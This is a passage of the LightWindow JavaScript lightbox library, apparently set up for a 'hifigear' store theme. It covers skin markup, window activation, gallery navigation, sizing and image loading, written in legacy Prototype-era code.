				swf	: 'application/x-shockwave-flash',
				tiff : 'image/tiff',
				viv : 'video/vivo',
				vivo : 'video/vivo',
				wav : 'audio/wav',
				wmv : 'application/x-mplayer2'			
			},	
			classids : {
				mov : 'clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B',
				swf : 'clsid:D27CDB6E-AE6D-11cf-96B8-444553540000',
				wmv : 'clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6'
			},
			codebases : {
				mov : 'http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0',
				swf : 'http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0',
				wmv : 'http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=6,4,5,715'
			},	
			viewportPadding : 10,
			EOLASFix : 'swf,wmv,fla,flv',
			overlay : {
				opacity : 0.7,
				image : '/skin/frontend/default/hifigear/images/lightbox/black.png',
				presetImage : '/skin/frontend/default/hifigear/images/lightbox/black-70.png'
			},
			skin : 	{
				main : 	'<div id="lightwindow_container" >'+
							'<div id="lightwindow_title_bar" >'+
								'<div id="lightwindow_title_bar_inner" >'+
									'<span id="lightwindow_title_bar_title"></span>'+
									'<a id="lightwindow_title_bar_close_link" ><img src="/skin/frontend/default/hifigear/images/btn_lightwindow_close.gif" alt="close" title="close" /></a>'+
								'</div>'+
							'</div>'+
							'<div id="lightwindow_stage" >'+
								'<div id="lightwindow_contents" >'+
								'</div>'+
								'<div id="lightwindow_navigation" >'+
									'<a href="#" id="lightwindow_previous" >'+
										'<span id="lightwindow_previous_title"></span>'+
									'</a>'+
									'<a href="#" id="lightwindow_next" >'+
										'<span id="lightwindow_next_title"></span>'+
									'</a>'+
									'<iframe name="lightwindow_navigation_shim" id="lightwindow_navigation_shim" src="javascript:false;" frameBorder="0" scrolling="no"></iframe>'+
								'</div>'+								
								'<div id="lightwindow_galleries">'+
									'<div id="lightwindow_galleries_tab_container" >'+
										'<a href="#" id="lightwindow_galleries_tab" >'+
											'<span id="lightwindow_galleries_tab_span" class="up" >Galleries</span>'+
										'</a>'+
									'</div>'+
									'<div id="lightwindow_galleries_list" >'+
									'</div>'+
								'</div>'+
							'</div>'+
							'<div id="lightwindow_data_slide" >'+
								'<div id="lightwindow_data_slide_inner" >'+
									'<div id="lightwindow_data_details" >'+
										'<div id="lightwindow_data_gallery_container" >'+
											'<span id="lightwindow_data_gallery_current"></span>'+
											' of '+
											'<span id="lightwindow_data_gallery_total"></span>'+
										'</div>'+
										'<div id="lightwindow_data_author_container" >'+
											'by <span id="lightwindow_data_author"></span>'+
										'</div>'+
									'</div>'+
									'<div id="lightwindow_data_caption" >'+
									'</div>'+
								'</div>'+
							'</div>'+
						'</div>',	
				loading : 	'<div id="lightwindow_loading" >'+
								'<img src="/skin/frontend/default/hifigear/images/lightbox/ajax-loading.gif" alt="loading" />'+
								'<span>Loading or <a href="javascript: myLightWindow.deactivate();">Cancel</a></span>'+
								'<iframe name="lightwindow_loading_shim" id="lightwindow_loading_shim" src="javascript:false;" frameBorder="0" scrolling="no"></iframe>'+
							'</div>',
				iframe : 	'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">'+
							'<html xmlns="http://www.w3.org/1999/xhtml">'+
								'<body>'+
									'{body_replace}'+
								'</body>'+
							'</html>',
				gallery : {
					top :		'<div class="lightwindow_galleries_list">'+
									'<h1>{gallery_title_replace}</h1>'+
									'<ul>',
					middle : 			'<li>'+
											'{gallery_link_replace}'+
										'</li>',
					bottom : 		'</ul>'+
								'</div>'
				}
			},
			formMethod : 'get',
			hideFlash : false,
			hideGalleryTab : false,
			showTitleBar : true,
			animationHandler : false,
			navigationHandler : false,
			transitionHandler : false,
			finalAnimationHandler : false,
			formHandler : false,
			galleryAnimationHandler : false,
			showGalleryCount : true
		}, options || {});
		this.duration = ((11-this.options.resizeSpeed)*0.15);
		this._setupLinks();
		this._getScroll();
		this._getPageDimensions();
		this._browserDimensions();
		this._addLightWindowMarkup(false);
		this._setupDimensions(); 
		this.buildGalleryList();
	},
	//
	//	Activate the lightwindow.
	//
	activate : function(e, link){		
		// Clear out the window Contents
		this._clearWindowContents(true);
			
		// Add back in out loading panel
		this._addLoadingWindowMarkup();

		// Setup the element properties
		this._setupWindowElements(link);
		
		// Setup everything
		this._getScroll();
		this._browserDimensions();
		this._setupDimensions();
		this._toggleTroubleElements('hidden', false);
		this._displayLightWindow('block', 'hidden');
		this._setStatus(true);
		this._monitorKeyboard(true);
		this._prepareIE(true);
		this._loadWindow();
	},
	//
	//	Turn off the window
	//
	deactivate : function(){
		// The window is not active
		this.windowActive = false;
		
		// There is no longer a gallery active
		this.activeGallery = false;
		if (!this.options.hideGalleryTab) {
			this._handleGalleryAnimation(false);
		}
		
		// Kill the animation
		this.animating = false;
		
		// Clear our element
		this.element = null;
		
		// hide the window.
		this._displayLightWindow('none', 'visible');
		
		// Clear out the window Contents
		this._clearWindowContents(false);
		
		// Stop all animation
		var queue = Effect.Queues.get('lightwindowAnimation').each(function(e){e.cancel();});
		
		// Undo the setup
		this._prepareIE(false);
		this._setupDimensions();
		this._toggleTroubleElements('visible', false);	
		this._monitorKeyboard(false);	
	},
	//
	//  Initialize specific window
	//
	createWindow : function(element, attributes) {
		this._processLink($(element));
	},
	//
	//  Open a Window from a hash of attributes
	//
	activateWindow : function(options) {
		this.element = Object.extend({
			href : null,
			title : null,
			author : null,
			caption : null,
			rel : null,
			top : null,
			left : null,
			type : null,
			showImages : null,
			height : null,
			width : null,
			loadingAnimation : null,
			iframeEmbed : null,
			form : null
		}, options || {});
		
		// Set the window type
		this.contentToFetch = this.element.href;
		this.windowType = this.element.type ? this.element.type : this._fileType(this.element.href);	
		
		// Clear out the window Contents
		this._clearWindowContents(true);
			
		// Add back in out loading panel
		this._addLoadingWindowMarkup();
		
		// Setup everything
		this._getScroll();
		this._browserDimensions();
		this._setupDimensions();
		this._toggleTroubleElements('hidden', false);
		this._displayLightWindow('block', 'hidden');
		this._setStatus(true);
		this._monitorKeyboard(true);
		this._prepareIE(true);
		this._loadWindow();
	},
	//
	//  Fire off our Form handler
	//
	submitForm : function(e) {
		if (this.options.formHandler) {
			this.options.formHandler(e);
		} else {
			this._defaultFormHandler(e);
		}
	},
	//
	//	Reload the window with another location
	//
	openWindow : function(element) {
		var element = $(element);

		// The window is active
		this.windowActive = true;
		
		// Clear out the window Contents
		this._clearWindowContents(true);
		
		// Add back in out loading panel
		this._addLoadingWindowMarkup();
		
		// Setup the element properties
		this._setupWindowElements(element);

		this._setStatus(true);
		this._handleTransition();
	},
	//
	//  Navigate the window
	//
	navigateWindow : function(direction) {
		this._handleNavigation(false);
		if (direction == 'previous') {
			this.openWindow(this.navigationObservers.previous);
		} else if (direction == 'next'){ 
			this.openWindow(this.navigationObservers.next);
		}
	},
	//
	//  Build the Gallery List and Load it
	//
	buildGalleryList : function() {
		var output = '';
		var galleryLink;
		for (i in this.galleries) {
			if (typeof this.galleries[i] == 'object') {
				output += (this.options.skin.gallery.top).replace('{gallery_title_replace}', unescape(i));
				for (j in this.galleries[i]) {
					if (typeof this.galleries[i][j] == 'object') {						
						galleryLink = '<a href="#" id="lightwindow_gallery_'+i+'_'+j+'" >'+unescape(j)+'</a>';
						output += (this.options.skin.gallery.middle).replace('{gallery_link_replace}', galleryLink);
					}
				}
				output += this.options.skin.gallery.bottom;
			}
		}
		new Insertion.Top('lightwindow_galleries_list', output);
		
		// Attach Events
		for (i in this.galleries) {
			if (typeof this.galleries[i] == 'object') {
				for (j in this.galleries[i]) {
					if (typeof this.galleries[i][j] == 'object') {
						Event.observe($('lightwindow_gallery_'+i+'_'+j), 'click', this.openWindow.bind(this, this.galleries[i][j][0]), false);
						$('lightwindow_gallery_'+i+'_'+j).onclick = function() {return false;};	
					}
				}
			}
		}
	},
	// 
	//  Set Links Up
	//
	_setupLinks : function() {
		var links = $$('.'+this.options.classNames.standard);
		links.each(function(link) {
			this._processLink(link);
		}.bind(this));	
	},
	//
	//  Process a Link
	//
	_processLink : function(link) {
		if ((this._fileType(link.getAttribute('href')) == 'image' || this._fileType(link.getAttribute('href')) == 'media')) {
			if (gallery = this._getGalleryInfo(link.rel)) {
				if (!this.galleries[gallery[0]]) {
					this.galleries[gallery[0]] = new Array();
				}
				if (!this.galleries[gallery[0]][gallery[1]]) {
					this.galleries[gallery[0]][gallery[1]] = new Array();
				}
				this.galleries[gallery[0]][gallery[1]].push(link);
			}
		}
		
		// Take care of our inline content
		var url = link.getAttribute('href');
		if (url.indexOf('?') > -1) {
			url = url.substring(0, url.indexOf('?'));
		}
		
		var container = url.substring(url.indexOf('#')+1);
		if($(container)) {
			$(container).setStyle({
				display : 'none'
			});
		}
		
		Event.observe(link, 'click', this.activate.bindAsEventListener(this, link), false);
		link.onclick = function() {return false;};		
	},
	//
	//	Setup our actions
	//
	_setupActions : function() {
		var links = $$('#lightwindow_container .'+this.options.classNames.action);
		links.each(function(link) {
			Event.observe(link, 'click', this[link.getAttribute('rel')].bindAsEventListener(this, link), false);
			link.onclick = function() {return false;};
		}.bind(this));
	},
	//
	//	Add the markup to the page.
	//
	_addLightWindowMarkup : function(rebuild) {
		var overlay = Element.extend(document.createElement('div'));
		overlay.setAttribute('id', 'lightwindow_overlay');		
		// FF Mac has a problem with putting Flash above a layer without a 100% opacity background, so we need to use a pre-made
		if (Prototype.Browser.Gecko) {
			overlay.setStyle({
				backgroundImage: 'url('+this.options.overlay.presetImage+')',
				backgroundRepeat: 'repeat',
				height: this.pageDimensions.height+'px'
			});			
		} else {
			overlay.setStyle({
				opacity: this.options.overlay.opacity,
				backgroundImage: 'url('+this.options.overlay.image+')',
				backgroundRepeat: 'repeat',
				height: this.pageDimensions.height+'px'
			});
		}
		
		var lw = document.createElement('div');
		lw.setAttribute('id', 'lightwindow');
		lw.innerHTML = this.options.skin.main;
		
		var body = document.getElementsByTagName('body')[0];
		body.appendChild(overlay);
		body.appendChild(lw);	
				
		if ($('lightwindow_title_bar_close_link')) {
			Event.observe('lightwindow_title_bar_close_link', 'click', this.deactivate.bindAsEventListener(this));
			$('lightwindow_title_bar_close_link').onclick = function() {return false;};
		}
			
		Event.observe($('lightwindow_previous'), 'click', this.navigateWindow.bind(this, 'previous'), false);
		$('lightwindow_previous').onclick = function() {return false;};		
		Event.observe($('lightwindow_next'), 'click', this.navigateWindow.bind(this, 'next'), false);
		$('lightwindow_next').onclick = function() {return false;};

		if (!this.options.hideGalleryTab) {
			Event.observe($('lightwindow_galleries_tab'), 'click', this._handleGalleryAnimation.bind(this, true), false);
			$('lightwindow_galleries_tab').onclick = function() {return false;};
		}
		
		// Because we use position absolute, kill the scroll Wheel on animations
		if (Prototype.Browser.IE) {
			Event.observe(document, 'mousewheel', this._stopScrolling.bindAsEventListener(this), false);
		} else {
			Event.observe(window, 'DOMMouseScroll', this._stopScrolling.bindAsEventListener(this), false);
		}
				
		Event.observe(overlay, 'click', this.deactivate.bindAsEventListener(this), false);
		overlay.onclick = function() {return false;};
	},
	//
	//  Add loading window markup
	//
	_addLoadingWindowMarkup : function() {
		$('lightwindow_contents').innerHTML += this.options.skin.loading;
	},
	//
	//  Setup the window elements
	//
	_setupWindowElements : function(link) {
		this.element = link;
		this.element.title = null ? '' : link.getAttribute('title');
		this.element.author = null ? '' : link.getAttribute('author');
		this.element.caption = null ? '' : link.getAttribute('caption');
		this.element.rel = null ? '' : link.getAttribute('rel');
		this.element.params = null ? '' : link.getAttribute('params');

		// Set the window type
		this.contentToFetch = this.element.href;
		this.windowType = this._getParameter('lightwindow_type') ? this._getParameter('lightwindow_type') : this._fileType(this.contentToFetch);	
	},
	//
	//  Clear the window contents out
	//
	_clearWindowContents : function(contents) {
		// If there is an iframe, its got to go
		if ($('lightwindow_iframe')) {
			Element.remove($('lightwindow_iframe'));
		}

		// Stop playing an object if its still around
		if ($('lightwindow_media_primary')) {
			try {
				$('lightwindow_media_primary').Stop();
			} catch(e) {}
			Element.remove($('lightwindow_media_primary'));
		}

		// Stop playing an object if its still around		
		if ($('lightwindow_media_secondary')) {
			try {
				$('lightwindow_media_secondary').Stop();
			} catch(e) {}
			Element.remove($('lightwindow_media_secondary'));
		}
		
		this.activeGallery = false;
		this._handleNavigation(this.activeGallery);
		
		if (contents) {
			// Empty the contents
			$('lightwindow_contents').innerHTML = '';
			
			// Reset the scroll bars
			$('lightwindow_contents').setStyle({
				overflow: 'hidden'
			});		
			
			if (!this.windowActive) {
				$('lightwindow_data_slide_inner').setStyle({
					display: 'none'
				});

				$('lightwindow_title_bar_title').innerHTML = '';
			}

			// Because of browser differences and to maintain flexible captions we need to reset this height at close
			$('lightwindow_data_slide').setStyle({
				height: 'auto'
			});
		}
		
		this.resizeTo.height = null;
		this.resizeTo.width = null;
	},
	//
	//	Set the status of our animation to keep things from getting clunky
	//
	_setStatus : function(status) {
		this.animating = status;
		if (status) {
			Element.show('lightwindow_loading');
		}
		if (!(/MSIE 6./i.test(navigator.userAgent))) {
			this._fixedWindow(status);
		}
	},
	//
	//  Make this window Fixed
	//
	_fixedWindow : function(status) {
		if (status) {
			if (this.windowActive) {
				this._getScroll();
				$('lightwindow').setStyle({
					position: 'absolute',
					top: parseFloat($('lightwindow').getStyle('top'))+this.pagePosition.y+'px',
					left: parseFloat($('lightwindow').getStyle('left'))+this.pagePosition.x+'px'
				});		
			} else {
				$('lightwindow').setStyle({
					position: 'absolute'
				});						
			}
		} else {
			if (this.windowActive) {
				this._getScroll();
				$('lightwindow').setStyle({
					position: 'fixed',
					top: parseFloat($('lightwindow').getStyle('top'))-this.pagePosition.y+'px',
					left: parseFloat($('lightwindow').getStyle('left'))-this.pagePosition.x+'px'
				});		
			} else {
				if ($('lightwindow_iframe')) {
					// Ideally here we would set a 50% value for top and left, but Safari rears it ugly head again and we need to do it by pixels
					this._browserDimensions();
				}
				$('lightwindow').setStyle({
					position: 'fixed',
					top: (parseFloat(this._getParameter('lightwindow_top')) ? parseFloat(this._getParameter('lightwindow_top'))+'px' : this.dimensions.viewport.height/2+'px'),
					left: (parseFloat(this._getParameter('lightwindow_left')) ? parseFloat(this._getParameter('lightwindow_left'))+'px' : this.dimensions.viewport.width/2+'px')
				});
			}
		}
	},
	//
	//	Prepare the window for IE.
	//
	_prepareIE : function(setup) {
		if (Prototype.Browser.IE) {
			var height, overflowX, overflowY;
			if (setup) { 
				var height = '100%';
			} else {
				var height = 'auto';
			}
			var body = document.getElementsByTagName('body')[0];
			var html = document.getElementsByTagName('html')[0];
			html.style.height = body.style.height = height;
		}
	},
	_stopScrolling : function(e) {
		if (this.animating) {
			if (e.preventDefault) {
				e.preventDefault();
			}
			e.returnValue = false;		
		}
	},
	//
	//	Get the scroll for the page.
	//
	_getScroll : function(){
      	if(typeof(window.pageYOffset) == 'number') {
        	this.pagePosition.x = window.pageXOffset;
        	this.pagePosition.y = window.pageYOffset;
      	} else if(document.body && (document.body.scrollLeft || document.body.scrollTop)) {
	       	this.pagePosition.x = document.body.scrollLeft;
        	this.pagePosition.y = document.body.scrollTop;
		} else if(document.documentElement) {
        	this.pagePosition.x = document.documentElement.scrollLeft;
        	this.pagePosition.y = document.documentElement.scrollTop;
      	}
	},
	//
	//	Reset the scroll.
	//
	_setScroll : function(x, y) {
		document.documentElement.scrollLeft = x; 
		document.documentElement.scrollTop = y; 
	},
	//
	//	Hide Selects from the page because of IE.
	//     We could use iframe shims instead here but why add all the extra markup for one browser when this is much easier and cleaner
	//
	_toggleTroubleElements : function(visibility, content){
		
		if (content) {
			var selects = $('lightwindow_contents').getElementsByTagName('select');
		} else {
			var selects = document.getElementsByTagName('select');
		}
		
		for(var i = 0; i < selects.length; i++) {
			selects[i].style.visibility = visibility;
		}
		
		if (!content) {
			if (this.options.hideFlash){
				var objects = document.getElementsByTagName('object');
				for (i = 0; i != objects.length; i++) {
					objects[i].style.visibility = visibility;
				}
				var embeds = document.getElementsByTagName('embed');
				for (i = 0; i != embeds.length; i++) {
					embeds[i].style.visibility = visibility;
				}
			}
			var iframes = document.getElementsByTagName('iframe');
			for (i = 0; i != iframes.length; i++) {
				iframes[i].style.visibility = visibility;
			}
		}
	},
	// 
	//  Get the actual page size
	//
	_getPageDimensions : function() {
		var xScroll, yScroll;
		if (window.innerHeight && window.scrollMaxY) {	
			xScroll = document.body.scrollWidth;
			yScroll = window.innerHeight + window.scrollMaxY;
		} else if (document.body.scrollHeight > document.body.offsetHeight){ 
			xScroll = document.body.scrollWidth;
			yScroll = document.body.scrollHeight;
		} else { 
			xScroll = document.body.offsetWidth;
			yScroll = document.body.offsetHeight;
		}

		var windowWidth, windowHeight;
		if (self.innerHeight) {	
			windowWidth = self.innerWidth;
			windowHeight = self.innerHeight;
		} else if (document.documentElement && document.documentElement.clientHeight) { 
			windowWidth = document.documentElement.clientWidth;
			windowHeight = document.documentElement.clientHeight;
		} else if (document.body) { 
			windowWidth = document.body.clientWidth;
			windowHeight = document.body.clientHeight;
		}	

		if(yScroll < windowHeight){
			this.pageDimensions.height = windowHeight;
		} else { 
			this.pageDimensions.height = yScroll;
		}

		if(xScroll < windowWidth){	
			this.pageDimensions.width = windowWidth;
		} else {
			this.pageDimensions.width = xScroll;
		}
	},
	//
	//	Display the lightWindow.
	//
	_displayLightWindow : function(display, visibility) {
		$('lightwindow_overlay').style.display = $('lightwindow').style.display = $('lightwindow_container').style.display = display;	
		$('lightwindow_overlay').style.visibility = $('lightwindow').style.visibility = $('lightwindow_container').style.visibility = visibility;
	},
	//
	//	Setup Dimensions of lightwindow.

	//
	_setupDimensions : function() {

		var originalHeight, originalWidth;
		switch (this.windowType) {
			case 'page' :
				originalHeight = this.options.dimensions.page.height;
				originalWidth = this.options.dimensions.page.width;
				break;

			case 'image' :
				originalHeight = this.options.dimensions.image.height;
				originalWidth = this.options.dimensions.image.width;
				break;
				
			case 'media' :
				originalHeight = this.options.dimensions.media.height;
				originalWidth = this.options.dimensions.media.width;
				break;
			
			case 'external' : 
				originalHeight = this.options.dimensions.external.height;
				originalWidth = this.options.dimensions.external.width;
				break;
				
			case 'inline' :
				originalHeight = this.options.dimensions.inline.height;
				originalWidth = this.options.dimensions.inline.width;
				break;
				
			default :
				originalHeight = this.options.dimensions.page.height;
				originalWidth = this.options.dimensions.page.width;
				break;
				
		}

		var offsetHeight = this._getParameter('lightwindow_top') ? parseFloat(this._getParameter('lightwindow_top'))+this.pagePosition.y : this.dimensions.viewport.height/2+this.pagePosition.y;
		var offsetWidth = this._getParameter('lightwindow_left') ? parseFloat(this._getParameter('lightwindow_left'))+this.pagePosition.x : this.dimensions.viewport.width/2+this.pagePosition.x;
		
		// So if a theme has say shadowed edges, they should be consistant and take care of in the contentOffset
		$('lightwindow').setStyle({
			top: offsetHeight+'px',
			left: offsetWidth+'px'
		});
		
		$('lightwindow_container').setStyle({
			height: originalHeight+'px',
			width: originalWidth+'px',
			left: -(originalWidth/2)+'px',
			top: -(originalHeight/2)+'px'
		});

		$('lightwindow_contents').setStyle({
			height: originalHeight+'px',
			width: originalWidth+'px'
		});
	},
	//
	//	Get the type of file.
	//
	_fileType : function(url) {
		var image = new RegExp("[^\.]\.("+this.options.fileTypes.image.join('|')+")\s*$", "i");
		if (image.test(url)) return 'image';
		if (url.indexOf('#') > -1 && (document.domain == this._getDomain(url))) return 'inline';		
		if (url.indexOf('?') > -1) url = url.substring(0, url.indexOf('?'));
		var type = 'unknown';
		var page = new RegExp("[^\.]\.("+this.options.fileTypes.page.join('|')+")\s*$", "i");
		var media = new RegExp("[^\.]\.("+this.options.fileTypes.media.join('|')+")\s*$", "i");
		if (document.domain != this._getDomain(url)) type = 'external';
	  	if (media.test(url)) type = 'media';
		if (type == 'external' || type == 'media') return type;
	  	if (page.test(url) || url.substr((url.length-1), url.length) == '/') type = 'page';
		return type;
	},
	//
	//  Get file Extension
	//
	_fileExtension : function(url) {
		if (url.indexOf('?') > -1) {
			url = url.substring(0, url.indexOf('?'));
		}
		var extenstion = '';
		for (var x = (url.length-1); x > -1; x--) {
			if (url.charAt(x) == '.') {
				return extenstion;
			}
			extenstion = url.charAt(x)+extenstion;
		}
	},
	//
	//	Monitor the keyboard while this lightwindow is up
	//
	_monitorKeyboard : function(status) {
		if (status) document.onkeydown = this._eventKeypress.bind(this); 
		else document.onkeydown = '';
	},
	//
	//  Perform keyboard actions
	//
	_eventKeypress : function(e) {
		if (e == null) {
			var keycode = event.keyCode;
		} else {
			var keycode = e.which;
		}
		
		switch (keycode) { 
			case 27: 
				this.deactivate(); 
				break;
			
			case 13:
				return;
				
			default:
				break;
		}
	
		// Gotta stop those quick fingers
		if (this.animating) {
			return false;
		}
		
		switch (String.fromCharCode(keycode).toLowerCase()) {
			case 'p':
				if (this.navigationObservers.previous) {
					this.navigateWindow('previous');
				}
				break;
				
			case 'n':
				if (this.navigationObservers.next) {
					this.navigateWindow('next');
				}
				break;
				
			default:
				break;
		}
	},
	//
	//	Get Gallery Information
	//
	_getGalleryInfo : function(rel) {
		if (!rel) return false;
		if (rel.indexOf('[') > -1) {
			return new Array(escape(rel.substring(0, rel.indexOf('['))), escape(rel.substring(rel.indexOf('[')+1, rel.indexOf(']'))));
		} else {
			return false;
		}
	},
	//
	//	Get the domain from a string.
	//
	_getDomain : function(url) {    
        var leadSlashes = url.indexOf('//');
        var domainStart = leadSlashes+2;
        var withoutResource = url.substring(domainStart, url.length);
        var nextSlash = withoutResource.indexOf('/');
        var domain = withoutResource.substring(0, nextSlash);
		if (domain.indexOf(':') > -1){
			var portColon = domain.indexOf(':');
			domain = domain.substring(0, portColon);
       	}
		return domain;
    },
	//
	//	Get the value from the params attribute string.
	//
	_getParameter : function(parameter, parameters) {
		if (!this.element) return false;
		if (parameter == 'lightwindow_top' && this.element.top) {
			return unescape(this.element.top);
		} else if (parameter == 'lightwindow_left' && this.element.left) {
			return unescape(this.element.left);
		} else if (parameter == 'lightwindow_type' && this.element.type) {
			return unescape(this.element.type);
		} else if (parameter == 'lightwindow_show_images' && this.element.showImages) {
			return unescape(this.element.showImages);
		} else if (parameter == 'lightwindow_height' && this.element.height) {
			return unescape(this.element.height);
		} else if (parameter == 'lightwindow_width' && this.element.width) {
			return unescape(this.element.width);
		} else if (parameter == 'lightwindow_loading_animation' && this.element.loadingAnimation) {
			return unescape(this.element.loadingAnimation);
		} else if (parameter == 'lightwindow_iframe_embed' && this.element.iframeEmbed) {
			return unescape(this.element.iframeEmbed);
		} else if (parameter == 'lightwindow_form' && this.element.form) {
			return unescape(this.element.form);
		} else {
			if (!parameters) {
				if (this.element.params) parameters = this.element.params;
				else return;
			}
			var value;
			var parameterArray = parameters.split(',');
			var compareString = parameter+'=';
			var compareLength = compareString.length;
			for (var i = 0; i < parameterArray.length; i++) {
				if (parameterArray[i].substr(0, compareLength) == compareString) {
					var currentParameter = parameterArray[i].split('=');
					value = currentParameter[1];
					break;
				}
			}
			if (!value) return false;
			else return unescape(value);
		}
	},
	//
	//  Get the Browser Viewport Dimensions
	//
	_browserDimensions : function() {
		if (Prototype.Browser.IE) {
            this.dimensions.viewport.height = document.documentElement.clientHeight;
            this.dimensions.viewport.width = document.documentElement.clientWidth;   
        } else {
            this.dimensions.viewport.height = window.innerHeight;
            this.dimensions.viewport.width = document.width || document.body.offsetWidth;
        }
	},
	//
	//  Get the scrollbar offset, I don't like this method but there is really no other way I can find.
	//
	_getScrollerWidth : function() {
	    var scrollDiv = Element.extend(document.createElement('div'));
		scrollDiv.setAttribute('id', 'lightwindow_scroll_div');
		scrollDiv.setStyle({
			position: 'absolute',
			top: '-10000px',
			left: '-10000px',
			width: '100px',
			height: '100px',
			overflow: 'hidden'
		});



	    var contentDiv = Element.extend(document.createElement('div'));
		contentDiv.setAttribute('id', 'lightwindow_content_scroll_div');
		contentDiv.setStyle({
			width: '100%',
			height: '200px'
		});

	    scrollDiv.appendChild(contentDiv);

		var body = document.getElementsByTagName('body')[0];
		body.appendChild(scrollDiv);

	    var noScroll = $('lightwindow_content_scroll_div').offsetWidth;
	    scrollDiv.style.overflow = 'auto';
    	var withScroll = $('lightwindow_content_scroll_div').offsetWidth;

	   	Element.remove($('lightwindow_scroll_div'));

	    this.scrollbarOffset = noScroll-withScroll;
	},
	

	//
	//  Add a param to an object dynamically created
	//
	_addParamToObject : function(name, value, object, id) {
		var param = document.createElement('param');
		param.setAttribute('value', value);
		param.setAttribute('name', name);
		if (id) {
			param.setAttribute('id', id);
		}
		object.appendChild(param);
		return object;
	},
	//
	//  Get the outer HTML of an object CROSS BROWSER
	//
	_outerHTML : function(object) {
 		if (Prototype.Browser.IE) {
			return object.outerHTML;
		} else {
			var clone = object.cloneNode(true);
			var cloneDiv = document.createElement('div');
			cloneDiv.appendChild(clone);
			return cloneDiv.innerHTML;
		}
	},
	//
	//  Convert an object to markup
	//
	_convertToMarkup : function(object, closeTag) {
		var markup = this._outerHTML(object).replace('</'+closeTag+'>', '');
		if (Prototype.Browser.IE) {
			for (var i = 0; i < object.childNodes.length; i++){
				markup += this._outerHTML(object.childNodes[i]);
			}
			markup += '</'+closeTag+'>';
		}
		return markup;
	},
	//
	//  Depending what type of browser it is we have to append the object differently... DAMN YOU IE!!
	//
	_appendObject : function(object, closeTag, appendTo) {
		if (Prototype.Browser.IE) {
			appendTo.innerHTML += this._convertToMarkup(object, closeTag);
			
			// Fix the Eolas activate thing but only for specified media, for example doing this to a quicktime film breaks it.
			if (this.options.EOLASFix.indexOf(this._fileType(this.element.href)) > -1) {
				var objectElements = document.getElementsByTagName('object');
				for (var i = 0; i < objectElements.length; i++) {
					if (objectElements[i].getAttribute("data")) objectElements[i].removeAttribute('data');
					objectElements[i].outerHTML = objectElements[i].outerHTML;
					objectElements[i].style.visibility = "visible";
				}
			}
		} else {
			appendTo.appendChild(object);	
		}	
	},
	//
	//  Add in iframe
	//
	_appendIframe : function(scroll) {
		var iframe = document.createElement('iframe');
		iframe.setAttribute('id', 'lightwindow_iframe');
		iframe.setAttribute('name', 'lightwindow_iframe');
		iframe.setAttribute('src', 'about:blank');
		iframe.setAttribute('height', '100%');
		iframe.setAttribute('width', '100%');
		iframe.setAttribute('frameborder', '0');
		iframe.setAttribute('marginwidth', '0');
		iframe.setAttribute('marginheight', '0');
		iframe.setAttribute('scrolling', scroll);	
		
		this._appendObject(iframe, 'iframe', $('lightwindow_contents'));
	},
	//
	//  Write Content to the iframe using the skin
	//
	_writeToIframe : function(content) {
		var template = this.options.skin.iframe;
		template = template.replace('{body_replace}', content); 
		if ($('lightwindow_iframe').contentWindow){
			$('lightwindow_iframe').contentWindow.document.open();
			$('lightwindow_iframe').contentWindow.document.write(template);
			$('lightwindow_iframe').contentWindow.document.close();
		} else {
			$('lightwindow_iframe').contentDocument.open();
			$('lightwindow_iframe').contentDocument.write(template);
			$('lightwindow_iframe').contentDocument.close();
		}
	},
	//
	//  Load the window Information
	//  
	_loadWindow : function() {
		switch (this.windowType) {
			case 'image' :

				var current = 0;
				var images = [];
				this.checkImage = [];
				this.resizeTo.height = this.resizeTo.width = 0;
				this.imageCount = this._getParameter('lightwindow_show_images') ? parseInt(this._getParameter('lightwindow_show_images')) : 1;

				// If there is a gallery get it
				if (gallery = this._getGalleryInfo(this.element.rel)) {	
					for (current = 0; current < this.galleries[gallery[0]][gallery[1]].length; current++) {
						if (this.contentToFetch.indexOf(this.galleries[gallery[0]][gallery[1]][current].href) > -1) {
							break;
						}
					}
					if (this.galleries[gallery[0]][gallery[1]][current-this.imageCount]) {
						this.navigationObservers.previous = this.galleries[gallery[0]][gallery[1]][current-this.imageCount];
					} else {
						this.navigationObservers.previous = false;
					}
					if (this.galleries[gallery[0]][gallery[1]][current+this.imageCount]) {
						this.navigationObservers.next = this.galleries[gallery[0]][gallery[1]][current+this.imageCount];
					} else {
						this.navigationObservers.next = false;
					}
					
					this.activeGallery = true;
				} else {
					this.navigationObservers.previous = false;
					this.navigationObservers.next = false;					

					this.activeGallery = false;
				}
				
				for (var i = current; i < (current+this.imageCount); i++) {
		
					if (gallery && this.galleries[gallery[0]][gallery[1]][i]) {
						this.contentToFetch = this.galleries[gallery[0]][gallery[1]][i].href;
						
						this.galleryLocation = {current: (i+1)/this.imageCount, total: (this.galleries[gallery[0]][gallery[1]].length)/this.imageCount};
											
						if (!this.galleries[gallery[0]][gallery[1]][i+this.imageCount]) {
							$('lightwindow_next').setStyle({
								display: 'none'
							});
						} else {
							$('lightwindow_next').setStyle({
								display: 'block'
							});
							$('lightwindow_next_title').innerHTML = this.galleries[gallery[0]][gallery[1]][i+this.imageCount].title;
						}
						
						if (!this.galleries[gallery[0]][gallery[1]][i-this.imageCount]) {
							$('lightwindow_previous').setStyle({
								display: 'none'
							});
						} else {
							$('lightwindow_previous').setStyle({
								display: 'block'
							});
							$('lightwindow_previous_title').innerHTML = this.galleries[gallery[0]][gallery[1]][i-this.imageCount].title;
						}
					}

					images[i] = document.createElement('img');
					images[i].setAttribute('id', 'lightwindow_image_'+i);
					images[i].setAttribute('border', '0');
					images[i].setAttribute('src', this.contentToFetch);
					$('lightwindow_contents').appendChild(images[i]);

					// We have to do this instead of .onload 
					this.checkImage[i] = new PeriodicalExecuter(function(i) {
						if (!(typeof $('lightwindow_image_'+i).naturalWidth != "undefined" && $('lightwindow_image_'+i).naturalWidth == 0)) {
	
							this.checkImage[i].stop();
	
							var imageHeight = $('lightwindow_image_'+i).getHeight();
							if (imageHeight > this.resizeTo.height) {
								this.resizeTo.height = imageHeight;
							}
							this.resizeTo.width += $('lightwindow_image_'+i).getWidth();
							this.imageCount--;
	
							$('lightwindow_image_'+i).setStyle({
								height: '100%'
							});
	
